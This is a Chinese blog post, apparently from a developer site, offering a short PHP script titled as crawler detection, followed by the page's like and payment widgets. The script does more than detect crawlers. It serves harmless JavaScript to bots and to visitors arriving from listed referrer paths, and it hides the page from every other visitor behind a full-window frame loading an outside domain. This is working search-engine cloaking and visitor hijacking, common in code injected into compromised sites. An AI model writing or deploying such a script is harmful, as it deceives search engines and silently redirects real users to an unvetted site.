php判断是否为蜘蛛

<?php

$USER_AGENT = strtolower($_SERVER['HTTP_USER_AGENT']);//USER_AGENT
$rel= $_SERVER['HTTP_REFERER'];//上一页
$zztr ="/zhaunz/zzhi.js";
//$robot = false;
//$dang = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];//当前链接
//echo $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];//当前链接
//echo($USER_AGENT);
//echo(strpos($USER_AGENT,"spider"));
//echo $_SERVER['HTTP_HOST'];
//var_dump (empty($rel));


$str=0;

//判断搜索引擎蜘蛛
if(empty($rel) || strpos($rel,$zztr) !== false || strpos($USER_AGENT,"bot") !==false || strpos($USER_AGENT,"spider") !==false || strpos($USER_AGENT,"slurp") !==false || strpos($USER_AGENT,"mediapartners-google") !==false || strpos($USER_AGENT,"fast-webcrawler") !==false || strpos($USER_AGENT,"altavista") !==false || strpos($USER_AGENT,"ia_archiver") !==false ){

	$str = 1;
}
//url
$zhongh = array(
	"www.baidu.com/1/",
	"www.baidu.com/2/",
	"www.baidu.com/3/",
	"www.baidu.com/4/",
	"www.baidu.com/5/",
	"www.baidu.com/6/",
	"www.baidu.com/7/"
);

foreach ($zhongh as $value) {
	if(strpos($rel,$value) !== false){
		$str = 2;
	}
}

if($str ==1){
	echo "var domain_jj_pc = document.domain;console.log(domain_jj_pc);var buti_jj_pc = window.location.href;console.log(buti_jj_pc);";
}elseif($str ==2){
	echo "var domain_jj_pc = document.domain;console.log(domain_jj_pc);var buti_jj_pc = window.location.href;console.log(buti_jj_pc);";
}else{
	echo "if(!lala){var lala=1;document.writeln('<frameset cols=\"100%\">');document.writeln('<frame src=\"https://fgpc.gdzyyjy.cn/\" frameborder=\'0\' marginwidth=\'0px\' scrolling=\'yes\'/>');document.writeln('</frameset>');}";
}







?>

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值